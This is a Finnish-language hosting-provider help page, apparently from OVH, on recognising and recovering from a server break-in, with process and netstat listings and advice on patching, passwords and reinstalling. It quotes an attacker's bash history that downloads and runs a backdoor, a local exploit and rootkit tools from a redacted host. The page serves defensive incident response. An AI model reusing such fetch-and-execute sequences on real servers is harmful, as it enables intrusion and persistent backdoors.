Search


print PDF
Hakkeroitu palvelin

Miten voin tarkastaa onko palvelimelleni murtauduttu?

Tarkastelemalla MRTG-graafeja huomaat helposti, jos joku käyttää palvelintasi esimerkiksi DDoS-hyökkäyksiin:





Ja palvelimelta löydämme:

root 3632 0.0 1.0 2368 1320 pts/0 S 10:51 0:00 -bash
root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
[...]

root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400


Kräkkeri on päässyt ajamaan sovelluksiaan roottina. Palvelin täytyy asentaa kokonaan uudestaan.

netstat -tanpu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc
ps auxw | grep 28823
root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823


Useimmat kräkkeri asentavat murtautumisen jälkeen palvelimelle ns. rootkitin, joka mm. korvaa ps, ls, netstat ja muut kriittiset työkalut, joiden avulla kräkkeri sekä kräkkerin ajamat sovellukset voitaisiin havaita. Yleensä kräkkeri asentaa palvelimelle myös takaportin, jotta hän pääsee palvelimelle takaisin, vaikka tietoturva-aukko korjattaisiin.

halt

Broadcast message from root (pts/1) Thu Nov 20 11:39:22 2003...

The system is going down for system halt NOW!!


Palvelin täytyy asentaa uudestaan. Jos kräkkeri ei ole saanut itselleen root-oikeuksia, uudelleenasentaminen ei olisi pakollista. Lue lisää osittain kräkkeröidystä palvelimesta.

Miksi ja miten palvelimeeni murtauduttiin?

Kräkkereiden motiivit ovat erilaisia. Osalle murtautuminen on huvia ja he esimerkiksi muokkaavat vain www-sivujen ulkoasua. Osa kräkkereistä taas murtautuu ammatikseen ja käyttää hyväkseen palvelimelta saamiaan luottokorttitietoja. Miten he pääsivät murtautumaan palvelimelleni?

Salasanasi on ollut liian helppo tai olet käyttänyt salaamatonta yhteyttä. FTP:n sijasta kannattaa käyttää SFTP:tä. POP3:n sijasta kannattaa käyttää POP3S. IMAP:n sijasta kannattaa käyttää IMAPS jne. Myöskään normaalinkäyttäjän salasana ei kannata olla sama kuin rootin.

Et ole päivittänyt palvelimen kerneliä ja sovelluksia. Kräkkeri voi päästä palvelimellesi päivittämättömän sovelluksen (SSHD, BIND, FTPD, Apache..) kautta suoraan jopa rootiksi. Jos kräkkeri pääsee "vain" normaalikäyttäjäksi, hänen on mahdollista saada root-oikeudet päivittämättömän kernelin kautta.

OVH tarjoaa tietoturvan parantamiseksi Täysiturva-lisäpalvelua.

Mitä nyt?

Kun murtautuminen palvelimelle havaitaan, se käynnistetään heti uudestaan Rescue-tilassa. Sinulle lähetetään kirjautumista varten tarvittavat tiedot sähköpostitse. Yhteys onnistuu vain FTP Read Only -tilassa. Voit varmuuskopioida ja tutkia tiedostojasi, ennenkuin asennat palvelimen uudestaan.

Voit myös pyytää teknikoilta palvelimen käynnistämistä normaalissa Rescue-tilassa, jolloin pääset muokkaamaan siellä olevia tiedostoja ja asetuksia. Sinun tulee selittää pyyntösi tarkasti ja kertoa sitoutuvasi korjaamaan palvelimen ennen sen käynnistämistä normaalitilassa. Jos et ole varma kyvystäsi pystyä estämään kräkkerin pääsy palvelimelle, suosittelemme sinua asentamaan palvelimen kokonaan uudestaan.

Esimerkki

Aukko CGI-skriptissä

Palvelimen /tmp-hakemistoon on lähetetty mm. g00dies.tgz-, x- ja k-tiedostot. Näistä x-sovellus on backdoor, jonka pyöriessä hakkeri pääsee takaisin palvelimelle.

Löysimme käyttäjän nobody bash.historyn /tmp-hakemistosta. Tässä sen sisältö:

cd /tmp
wget ###########/x
chmod +x x
./s
./x
./x
./x
./x./x
./x
./x
./x
./x
wget ###########/k
chmod +x k
./k -d;
/tmp/x
./x
./x
./x
./x
./x
./x
./
cd /tmp
mkdir .,
cd .,
wget ###########/vampix
tar zxvf vampix
cd esc
./mingetty
./mingetty
./mingetty
cd /tmp
wget ###########/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
cd /tmp
wget ###########/smth
chmod +x smth
./smth
cd /tmp
wget ###########/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
/tmp/smth
/tmp/stealth


Sen avulla tiedämme, että käyttäjä on suorittanut komennot Apachen nobody-käyttäjänä. Kräkkeri on mitä ilmeisemmin murtautunut palvelimelle CGI-skriptin haavoittuvaisuuden kautta.

Tapa kaikki epäilyttävät ja mahdollisesti haavoittuvaiset prosessit. Kräkkeri ei näytä olevan saanut itselleen root-oikeuksia, mutta kannattaa silti pelata varman päälle ja vaihtaa kaikki salasanat: root, käyttäjät, mysql, mail, jne.

Etsi murtautumisen jälkeen muokattuja tiedostoja, tässä tapauksessa 60 minuutin ajalta: find /rep -cmin -60

Etsi jälkiä murtautumisesta Apachen-lokitiedostoista ajalta jolloin murtautuminen tapahtui löytääksesi viallisen skriptin.


Toinen esimerkkki kräkkeröidystä palvelimesta.